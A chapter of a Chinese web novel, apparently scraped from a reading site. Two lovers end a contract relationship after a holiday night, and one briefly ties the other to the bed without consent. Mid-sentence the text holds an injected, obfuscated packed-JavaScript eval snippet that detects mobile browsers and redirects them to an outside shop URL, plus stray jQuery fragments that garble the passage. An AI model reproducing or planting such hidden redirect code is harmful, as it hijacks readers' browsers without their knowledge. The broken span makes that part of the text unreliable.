83.第83章 告一段落

作品:《年下小狼狗动机不纯

    聂司卓得到许可,才敢伸手,隔着丝绸织成的柔光,搂住了慕时卿的腰,一个吻落下。


    这个吻最初小心温柔,最后演变成忘乎所以,觊觎神明的狼子野心,因为太过热烈,根本无处可藏,索性暴露于神明之前,企图用赤诚之心,换取神的一时心软和怜爱。


    神明如他所愿,赐予了他主导的权利,他愈加肆意,紧紧搂着怀中的月光,想要将其揉入自己的身体里。


    慕时卿被抱得有些生疼,今晚的聂司卓像见月嗜血的邪魔,从精神状态到动作,都带着一种无法克制的贪婪。


    “司卓。”他好不容易抢到发声的机会。


    聂司卓睁开眼。


    睁眼的那一刻,慕时卿像是在那双深色的眼睛中看到了一丝血红,不过聂司卓很快就低下头,将自己的眼睛藏在了阴影之中。


    “弄疼你了?”聂司卓弯起嘴角,语调温柔,听不出一点儿异常。


    “还好。”慕时卿只当是自己看错了,倾身凑到聂司卓耳边,“要在这里吗?还是进去?”


    聂司卓抑制不住地深吸一口气,偏头在慕时卿的颈侧上咬了一下,“在这里,不过,我要进去。”


    慕时卿肩头的柔光滑落,挂在了臂弯,比皎月还漂亮的肌肤露了出来。


    海浪声随着心潮起伏,变得愈加欢快澎湃,吹过的海风卷走了深埋于两人心底的所有忧思,天地间剩下彼此。


    慕时卿梦到自己被推至阳台的围栏上,复古的石质围栏触感粗粝,隔着绸纱磨得他的腰有些不舒服,一只手体贴地垫在了他的腰和围栏之间。


    这只手扶着他的腰转了一个方向,月色下的海面泛起粼粼波光,仿佛漫天星海,那应该是在梦中才能看到的景象。


    “时卿,”一个磁性的声音在耳边唤他名字,“我来了。”


    下一秒,梦境一转,那人带着他腾空飞入云端,坠入漫天星辰的大海。


    他已经分不清现实与梦境,直到最后被高高抛向无穷的天际,他伸出手想要抓住什么,但双手却动弹不得,身后一直抱着他的人也消失了,他猛地一惊,睁开了双眼。


    梦中的月光消失,映入眼帘的是明媚的阳光。


    不是在梦里。


    只是……


    他努力想要活动手腕,却如梦中一般,动弹不得。


    他抬起头,发现自己双手被绑在了床头,而他身上好好地盖着被子,盖被子的人像是怕他着凉。


    慕时卿:……


    不用猜,一定是聂司卓那混蛋玩意儿干的。


    他转头寻找混蛋玩意儿的身影,见到了背对着他坐在床边的聂司卓,屡屡白烟升起,他还闻到了烟草燃烧的味道。


    居然还有心情抽烟。


    “聂司卓。”他生气的叫道。


    聂司卓的背似乎僵了一下,很快又卸力地松了下去,没有转头。


    “松开我。”慕时卿命令道。


    “不。”


    他得到的是一个倔强的回答。


    慕时卿有些无语,探头去看聂司卓的脸:“……,给我一个理由。”


    聂司卓赌气地别过脸,不让慕时卿看,“你为什么把我手机里的照片删了。”


    慕时卿默了默,回道:“不安全。”


    “是照片不安全,还是我不安全?”聂司卓又问。


    “当然是照片。”慕时卿回。


    那些亲昵的照片,但凡有一张传出去,都会引来风波,所以最安全的方式就是保留在记忆里。


    “那我呢?”聂司卓终于转过头来,眼眶红红的,平日里黑白分明的眼睛此时布满了血丝。


    慕时卿想起昨晚,似乎也在聂司卓眼里看到了类似的猩红。


    “你是不是也要像处理照片那样……把我删掉?”聂司卓眼睛微润,质问的语气也因为哽咽变了味儿,多了几分无理取闹。


    慕时卿忍了忍,又想起自己被绑着,才没在这时候笑出来。


    “我又不是黑色.会,还能让你在这个世界上消失不成?”他态度缓和下来,哄道,“快把我放开。”


    “不要。”聂司卓又把头扭了回去,“你知道我说的是什么意思,这次出来度假,你就是想要做最后的告别,等离开这里,就会把我甩了。”


    慕时卿沉默。


    这短暂的沉默像是一种默认,聂司卓弹掉手中的烟头,蓦地转过头来,俯身看向慕时卿:“被我说中了。”


    慕时卿垂下眼睫。


    他忘了,聂司卓其实是一个很敏感的人。


    “放开我,我们好好谈谈。”他转动手腕。


    之前他曾设想过很多种局面,唯独没想到聂司卓会把他绑起来。


    “想都别想。”聂司卓眼眶又红了几分,估计是不想慕时卿看到,又起身坐了回去,光看背影就知道憋着一肚子气。


    “难道你要一直把我囚禁在这里?”慕时卿问。


    “是。”聂司卓很肯定地回答。


    “你就这点本事。”慕时卿冷嘲道,“想要留住一个人,得靠这种手段,我以前真是高看你了。”


    聂司卓的脊背倏地绷紧。


    不愧是慕时卿,最知道该怎么拿捏他。


    心底的不甘和委屈一起拱了上来。


    “总比你用完既弃好。”


    慕时卿:“……”


    “我手疼。”慕时卿无力道。


    聂司卓赶紧转过头来,看了看慕时卿,又看了看被他绑在床头的双手,像是心软了。


    “放开我好不好?我真的很不舒服,昨晚你怎么折腾我的,你忘了。”慕时卿继续道,“我现在这样可打不过你。”


    聂司卓怎么会忘,昨晚他心里怀着巨大的不安,只想将慕时卿拆吃入腹。


    而慕时卿如大海般宽容,接纳着他的贪婪和失控。


    他真是疯了,怎么能这么对待这么好的慕时卿。


    “对不起。”他伸手解开绸带,捧起慕时卿的手,放到唇边亲了亲。


    慕时卿反手捏住聂司卓的下巴,力道很重。


    聂司卓不反抗,就算现在慕时卿给他一巴掌,他都会乖乖受着。


    “呵~”慕时卿松手前,往旁边一撇,带着聂司卓的脸转了个方向,跟真的甩了一巴掌差不多。


    聂司卓不敢转过头,像只做错事被头狼教训的小狼崽子,只敢用余光一下一下地瞄慕时卿。


    “收拾东西,下午还要去见招标方。”慕时卿掀开被子,这才发现身上仍挂着那件薄纱。


    聂司卓也是没想到,慕时卿被放开后,第一时间居然想的是工作。


    “你不是要跟我谈谈吗?”


    “没空。”慕时卿下床,把脱下的薄纱劈头盖脸地丢给聂司卓,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16602629|181287||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    撩过一旁的浴袍穿上,再戴上眼镜,“走不走,不走你自己留在这里。”


    戴上眼镜后的慕时卿简直是气场全开,聂司卓被镇得一愣一愣的,“哦。”


    伤春悲秋被一扫而空。


    两人比计划时间晚了一个多小时才坐上游艇离岛。


    “时卿。”聂司卓鼓足勇气登上顶层夹板。


    不久前,他们还在这里一起夜钓,看着漫天繁星,相拥而眠。


    慕时卿没应声。


    聂司卓厚脸皮地坐到一旁的躺椅上。


    慕时卿没看他,“现在回去,正好能赶得上跟招标方见面。当然,如果你不想要这个机会,也可以一走了之。”


    聂司卓垂眸,放在膝盖上的拳头微微握紧:“想要。”


    慕时卿这才扭过头来:“记起自己的目标了?知道自己要做什么了?我还以为,你什么都不在乎了呢。”


    聂司卓无言以对。


    确实,他没办法像慕时卿一样,能那么快地从这几天如梦境般的日子中抽离,更没办法在知道慕时卿即将跟他划分界限前,保持绝对的冷静。


    或许,慕时卿从来没有对他投入过感情,一直以来,都是他一厢情愿。


    “我在乎,但……我没办法接受你想单方面解除契约。”他说道。


    慕时卿揉揉额角:“是合约总有到期的那一天,我们已经不适合保持这样的关系。”


    “为什么不能?”聂司卓问。


    “你不回聂氏了?回聂氏你拿什么跟聂远山斗,那一点点股份吗?还有帮你的那些‘叔叔伯伯’,你该不会以为,他们是无条件地支持你吧,你得作出成绩,让他们知道,你才是真正有能力创造价值,带领聂氏更上一个台阶的人。”慕时卿说。


    “这跟我们的关系什么事?”聂司卓其实隐隐知道其中利害,但却还是怀有一丝侥幸。


    “因为,”慕时卿耐下性子,“你回了聂氏,聚焦在你身上的目光只会越来越多,不止是聂远山、张翠、聂司珵,还有聂氏的所有人,海悦投资,你的竞争对手。聂氏是国内最大的码头和航运企业,它的一举一动,会被很多人注视,你要成为它的主人,这样的关注,注定无法避免。”


    还有一点,他没有说,越接近顶峰的路越难走,往后聂司卓的处境只会越来越艰难,慕氏会成为其登顶的助力。


    表面上慕氏是他说得算,其实他下面还有几位新老股东,公司内部关系盘根错节,这三年多来,没有出现过大的分歧,是因为他行事均以慕氏利益为先,那些股东看在眼里,自然也就信任他,放手不管。


    可若是他跟聂司卓的关系暴露,被有心之人歪曲事实,说他以公谋私,他帮聂司卓就会变得名不正言不顺,到时候助力不成,反成阻力。


    再者,桃色绯闻,对于合作双方,毫无益处。


    所以,想要帮聂司卓,这段关系必须中止。


    “我们可以更小心些。”聂司卓握住慕时卿的手,几乎是带着祈求。


    海风吹过,拂过他们的发丝。


    慕时卿没有回避,将自己的另一只手覆了上去,微笑着说道:“一段关系的结束并不意味着永别,我们可以以另一种方式并肩前行。”


    聂司卓盯着他们交握在一起的手,过了好一会儿,像是下了某种决定,抬起头:“好,我同意结束这段关系。”